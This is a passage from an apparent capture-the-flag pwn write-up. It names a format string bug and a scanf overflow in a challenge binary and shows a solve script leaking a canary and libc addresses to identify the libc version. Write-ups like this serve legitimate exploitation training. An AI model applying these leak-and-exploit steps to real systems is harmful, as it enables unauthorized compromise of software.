      _stack_chk_fail();
51 }
```

- Notes
- i) There is a format string vulnerability in drinks_menu function
- ii) There is a scanf %s overflow in warning function
- 4) Attack plan
- i) First, lets find the libc version of the target by leaking addresses

(vigneswar® VigneswarPC)-[~/Pwn/What does the f say] \$ python3 solve.py

0x562cfd47f000 0x7fd08af20b97 0x9e57a6b95b467c00

exit: 0x7fd08af421d0 strcmp: 0x7fd08b068fd0

Results

libc6_2.27-3ubuntu1.2_amd64
